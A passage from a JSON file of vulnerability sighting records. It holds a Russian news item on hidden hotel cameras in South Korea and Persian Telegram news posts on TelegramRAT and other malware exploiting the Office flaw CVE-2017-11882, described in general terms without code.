\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432.\n\n\u0412 \u042e\u0436\u043d\u043e\u0439 \u041a\u043e\u0440\u0435\u0435 \u0430\u0440\u0435\u0441\u0442\u043e\u0432\u0430\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043f\u043e \u043e\u0431\u0432\u0438\u043d\u0435\u043d\u0438\u044e \u0432 \u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0441\u044a\u0435\u043c\u043a\u0435 1,6 \u0442\u044b\u0441. \u043f\u043e\u0441\u0442\u043e\u044f\u043b\u044c\u0446\u0435\u0432 \u043e\u0442\u0435\u043b\u0435\u0439 \u0438 \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u0432\u0438\u0434\u0435\u043e\u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430 \u0438\u043d\u0442\u0438\u043c\u043d\u043e\u0433\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435. \u041e\u0431\u0432\u0438\u043d\u044f\u0435\u043c\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u043c\u0438\u043d\u0438-\u043a\u0430\u043c\u0435\u0440\u044b \u0432 \u043d\u043e\u043c\u0435\u0440\u0430\u0445 30 \u043e\u0442\u0435\u043b\u0435\u0439 \u0432 10 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0433\u043e\u0440\u043e\u0434\u0430\u0445 \u042e\u0436\u043d\u043e\u0439 \u041a\u043e\u0440\u0435\u0438 \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u043b\u0438 \u043e\u0442\u0441\u043d\u044f\u0442\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u043c \u0438\u043c\u0438 \u0441\u0430\u0439\u0442\u0435, \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043d\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.securitylab.ru/news/498481.php", "creation_timestamp": "2026-07-26T12:00:04.101549Z"}, {"uuid": "3e1be58c-7960-42d6-b538-110eeda510a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/7318", "content": "\u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631 TelegramRAT \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0622\u0641\u06cc\u0633 \u0648 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u062a\u0644\u06af\u0631\u0627\u0645 \n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\ud83d\udcd7 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd7\n\u0634\u0631\u06a9\u062a Netskope \u0647\u0634\u062f\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062a\u0631\u0648\u062c\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 (RAT) \u06a9\u0647 \u0627\u062e\u06cc\u0631\u0627\u064b \u06a9\u0634\u0641 \u0634\u062f \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u0633\u0646\u0627\u062f\u06cc \u062a\u0648\u0632\u06cc\u0639 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647\u200c\u06cc \u0622\u0641\u06cc\u0633 \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0648\u0635\u0644\u0647 \u0634\u062f\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\u062f\u0631 \u0648\u0627\u0642\u0639 TelegramRAT\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u067e\u06cc\u0627\u0645\u200c\u0631\u0633\u0627\u0646 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0631\u0627\u06cc \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0648 \u0627\u0632 \u06cc\u06a9 \u0628\u0633\u062a\u0631 \u0630\u062e\u06cc\u0631\u0647\u200c\u0633\u0627\u0632\u06cc \u0627\u0628\u0631\u06cc \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u062e\u0648\u062f \u0631\u0627 \u0630\u062e\u06cc\u0631\u0647 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0631\u0648\u06cc\u06a9\u0631\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0647\u062f\u06cc\u062f \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0628\u0631\u062e\u06cc \u0627\u0632 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u0646\u062a\u06cc \u0631\u0627 \u0627\u0632 \u0633\u0631 \u0628\u0627\u0632 \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062d\u0645\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 TelegramRAT \u0628\u0627 \u06cc\u06a9 \u0633\u0646\u062f \u0622\u0641\u06cc\u0633 \u0645\u062e\u0631\u0628 \u0634\u0631\u0648\u0639 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u062f\u0631 Equation Editor \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a (EQNEDT\u06f3\u06f2.EXE) \u06a9\u0647 \u062f\u0631 \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f0\u06f0 \u0645\u06cc\u0644\u0627\u062f\u06cc \u0645\u0639\u0631\u0641\u06cc \u0634\u062f\u060c \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0628\u0647 \u0645\u062f\u062a \u06f1\u06f7 \u0633\u0627\u0644 \u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0645\u0627\u0647 \u06af\u0630\u0634\u062a\u0647 \u0622\u0646 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u060c \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u062a\u0648\u062c\u0647\u06cc \u0628\u0627\u0642\u06cc \u0645\u0627\u0646\u062f\u060c \u0627\u0645\u0627 \u0637\u0648\u0644\u06cc \u0646\u06a9\u0634\u06cc\u062f \u06a9\u0647 \u0639\u0627\u0645\u0644\u0627\u0646 \u0645\u062e\u0631\u0628 \u0634\u0631\u0648\u0639 \u0628\u0647 \u0633\u0648\u0621\u200c\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0646 \u06a9\u0631\u062f\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647\u200c\u06cc \u062c\u062f\u06cc\u062f\u060c \u062e\u062f\u0645\u0627\u062a \u0647\u062f\u0627\u06cc\u062a \u0646\u0634\u0627\u0646\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u06cc Bit.ly \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a \u062a\u0627 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc TelegramRAT \u0631\u0627 \u06a9\u0647 \u062f\u0631 \u062f\u0631\u0627\u067e\u200c\u0628\u0627\u06a9\u0633 \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0634\u062f\u0647\u060c \u067e\u0646\u0647\u0627\u0646 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0627\u0632 \u0648\u0627\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u0628\u0627\u062a \u062a\u0644\u06af\u0631\u0627\u0645 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f \u0648 \u067e\u0627\u0633\u062e\u200c\u0647\u0627 \u0631\u0627 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f. \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0627\u0628\u0631\u06cc SSL \u0628\u0631\u0627\u06cc \u0622\u0644\u0648\u062f\u06af\u06cc \u0648 \u0639\u0645\u0644\u06cc\u0627\u062a \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0631\u062a\u0628\u0627\u0637 \u0631\u0627 \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u062e\u0641\u06cc \u0646\u06af\u0647 \u062f\u0627\u0631\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0634\u0631\u06a9\u062a Netskope \u0645\u06cc\u200c\u06af\u0648\u06cc\u062f: \u00ab\u0631\u0634\u062a\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u060c \u062d\u0627\u0648\u06cc \u0627\u0631\u062c\u0627\u0639\u200c\u0647\u0627\u06cc \u0628\u0633\u06cc\u0627\u0631\u06cc \u0628\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u0627\u0633\u062a. \u067e\u0633 \u0627\u0632 \u06cc\u06a9 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0633\u0631\u06cc\u0639\u060c \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u06cc\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0628\u0627\u0631 \u062f\u0627\u062f\u0647 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u0628\u0627\u0634\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627\u06cc \u062f\u0648\u062f\u0648\u06cc\u06cc \u0645\u0633\u062a\u0642\u0644 \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u062d\u0627\u0648\u06cc \u0647\u0645\u0647\u200c\u06cc \u0686\u06cc\u0632\u0647\u0627\u06cc \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0633\u062a.\u00bb\n\n\u0628\u0647 \u062e\u0627\u0637\u0631 \u0627\u06cc\u0646\u200c\u06a9\u0647 \u0645\u0641\u0633\u0631 \u067e\u0627\u06cc\u062a\u0648\u0646\u060c \u06a9\u062f \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0648 \u0647\u0645\u0647\u200c\u06cc \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0628\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0634\u062f\u0647 \u0647\u0633\u062a\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u062d\u062c\u0645 \u0628\u0632\u0631\u06af\u06cc \u062f\u0627\u0631\u062f \u06a9\u0647 \u0628\u0627\u0639\u062b \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0645\u062a\u0631 \u0645\u0634\u06a9\u0648\u06a9 \u0628\u0647 \u0646\u0638\u0631 \u0628\u0631\u0633\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u062f\u0631 \u0645\u0633\u06cc\u0631 \u0627\u0633\u062a\u062e\u0631\u0627\u062c\u200c\u0634\u062f\u0647\u060c \u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc PYD\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc DLL  \u0648 \u06cc\u06a9 \u067e\u0648\u0634\u0647\u200c\u06cc \u062d\u0627\u0648\u06cc \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc .pyc \u0631\u0627 \u06cc\u0627\u0641\u062a\u0646\u062f. \u0622\u0646\u200c\u0647\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647 \u0628\u0647 \u0646\u0627\u0645 \u00abRATAttack\u00bb \u0631\u0627 \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0646\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u067e\u0631\u0648\u0698\u0647\u200c\u06cc \u00abRAT-via-Telegram\u00bb \u0645\u062a\u0646\u200c\u0628\u0627\u0632 \u062f\u0631 GitHub \u0627\u0634\u0627\u0631\u0647 \u062f\u0627\u0631\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0627\u062c\u0631\u0627\u06cc\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u062e\u0648\u062f \u0631\u0627 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f\u060c \u0627\u0632 \u06a9\u062f \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u06af\u06cc\u062a\u200c\u0647\u0627\u0628 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.\n\n\u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0644\u06af\u0631\u0627\u0645\u060c \u06a9\u0647 \u0627\u0632 \u0627\u0631\u062a\u0628\u0627\u0637 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0634\u062f\u0647 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062f\u0627\u0631\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0648 \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u062c\u0627\u0633\u0648\u0633\u06cc \u062f\u0631 \u0627\u0631\u062a\u0628\u0627\u0637\u060c \u0628\u0627 \u0647\u062f\u0641 \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0631\u0642\u0631\u0627\u0631 \u06a9\u0646\u0646\u062f. \u0646\u0648\u06cc\u0633\u0646\u062f\u06af\u0627\u0646 RAT \u06cc\u06a9 \u0628\u0627\u062a \u062a\u0644\u06af\u0631\u0627\u0645 \u0627\u06cc\u062c\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0648 \u062a\u0648\u06a9\u0646 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0627\u062a \u0631\u0627 \u062f\u0631 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc TelegramRAT \u062c\u0627\u0633\u0627\u0632\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0633\u067e\u0633 \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645 \u0628\u0627\u062a \u0645\u062a\u0635\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u062f\u0631 \u0622\u0646\u200c\u062c\u0627 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0622\u0644\u0648\u062f\u0647 \u0635\u0627\u062f\u0631 \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0637\u0628\u0642 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0631\u06cc\u0627\u0641\u062a\u200c\u0634\u062f\u0647\u060c \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062a\u0635\u0627\u0648\u06cc\u0631\u06cc \u0627\u0632 \u0635\u0641\u062d\u0647 \u062a\u0647\u06cc\u0647 \u06a9\u0646\u062f\u060c \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0634\u0650\u0644 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u0631\u0627 \u06a9\u067e\u06cc \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627 \u0631\u0627 \u062d\u0630\u0641 \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0627 \u0627\u0632 \u0647\u062f\u0641 \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u06a9\u0646\u062f\u060c \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u062d\u0644\u06cc \u0631\u0627 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u062f\u060c \u062b\u0627\u0628\u062a \u06a9\u0631\u062f\u0646 \u0635\u0641\u062d\u0647\u200c\u06a9\u0644\u06cc\u062f \u0631\u0627 \u0641\u0639\u0627\u0644 \u06cc\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0646\u062f\u060c \u06af\u0630\u0631\u0648\u0627\u0698\u0647\u200c\u0647\u0627\u06cc \u0648\u0631\u0648\u062f \u06af\u0648\u06af\u0644 \u06a9\u0631\u0648\u0645 \u0631\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u062f\u060c \u0628\u0627 \u0645\u06cc\u06a9\u0631\u0648\u0641\u0648\u0646 \u0635\u062f\u0627 \u0636\u0628\u0637 \u06a9\u0646\u062f\u060c \u06af\u0632\u0627\u0631\u0634 \u06a9\u0644\u06cc\u062f\u0647\u0627 \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f\u060c \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u06cc \u0634\u062e\u0635\u06cc \u0631\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u067e\u0631\u0648\u06a9\u0633\u06cc \u0628\u0627\u0632 \u06a9\u0646\u062f\u060c \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u062e\u0627\u0645\u0648\u0634 \u0648 \u06cc\u0627 \u0631\u0627\u0647 \u0627\u0646\u062f\u0627\u0632\u06cc \u0645\u062c\u062f\u062f \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f\u060c \u06cc\u06a9 \u062f\u0633\u062a\u0648\u0631 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627 \u062f\u0631 \u0632\u0645\u0627\u0646 \u0645\u0634\u062e\u0635 \u0632\u0645\u0627\u0646\u200c\u0628\u0646\u062f\u06cc \u06a9\u0646\u062f\u060c \u062e\u062f\u0645\u0627\u062a \u0648 \u0641\u0631\u0622\u06cc\u0646\u062f\u0647\u0627\u06cc \u062f\u0631 \u062d\u0627\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0646\u0634\u0627\u0646 \u062f\u0647\u062f\u060c \u0648 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u0647\u0627\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0631\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u062f.\n\n  \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\u0634\u0631\u06a9\u062a Netskope \u0646\u062a\u06cc\u062c\u0647 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u06a9\u0647: \u00ab TelegramRAT \u06cc\u06a9 \u0646\u0645\u0648\u0646\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 \u0641\u0639\u0627\u0644\u06cc\u062a \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u062a\u0635\u062f\u06cc\u0642 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0632 \u0627\u0628\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f \u062a\u0627 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0633\u0646\u062a\u06cc \u0631\u0627 \u0627\u0632 \u0633\u0631 \u0628\u0627\u0632 \u06a9\u0631\u062f. TelegramRAT \u0628\u0627 \u0627\u06cc\u062c\u0627\u062f \u0627\u0628\u0631 \u0628\u0648\u0645\u06cc \u062e\u0648\u062f\u060c \u0627\u0632 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0628\u0631\u06cc \u0628\u0631\u0627\u06cc \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0628\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u06cc \u062e\u0648\u062f \u0648 \u0627\u0632 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u062f\u06cc\u06af\u0631 \u0628\u0631\u0627\u06cc \u0639\u0645\u0644\u06cc\u0627\u062a \u0641\u0631\u0645\u0627\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u067e\u06cc\u0648\u0646\u062f \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u0627\u0628\u0631\u06cc \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062d\u0645\u0644\u0627\u062a \u0645\u0642\u0627\u0648\u0645\u062a \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0628\u0647 \u067e\u0648\u06cc\u0634\u200c\u06af\u0631\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u062f \u062a\u0627 \u0628\u062a\u0648\u0627\u0646\u062f \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u200c\u06cc \u0627\u0628\u0631\u06cc \u0631\u0627 \u062a\u0634\u062e\u06cc\u0635 \u062f\u0647\u062f \u0648 \u0628\u0647 \u062a\u0631\u0627\u0641\u06cc\u06a9 SSL \u0631\u0633\u06cc\u062f\u06af\u06cc \u06a9\u0646\u062f \u062a\u0627 \u0645\u0624\u062b\u0631 \u0628\u0627\u0634\u0646\u062f.\u00bb\n\n \ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15", "creation_timestamp": "2026-07-26T07:01:52.940973Z"}, {"uuid": "9b5cb022-efab-40a9-bf7c-c56e6540c15a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/KaitNews/6735", "content": "\u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 Cobalt \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f7 \u0633\u0627\u0644\u0647 \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \n\n\ud83c\udf15\ud83d\udc9b @KaitNews \ud83d\udc9b\ud83c\udf15\n\n\ud83c\udf15\ud83d\udcd8 \u0628\u0647 \u06af\u0632\u0627\u0631\u0634 IPA \u0628\u0647 \u0646\u0642\u0644 \u0627\u0632 ASIS \ud83d\udcd8\ud83c\udf15\n\u067e\u0698\u0648\u0647\u0634\u06af\u0631\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0638\u0647\u0627\u0631 \u06a9\u0631\u062f\u0646\u062f \u06a9\u0647 \u06af\u0631\u0648\u0647 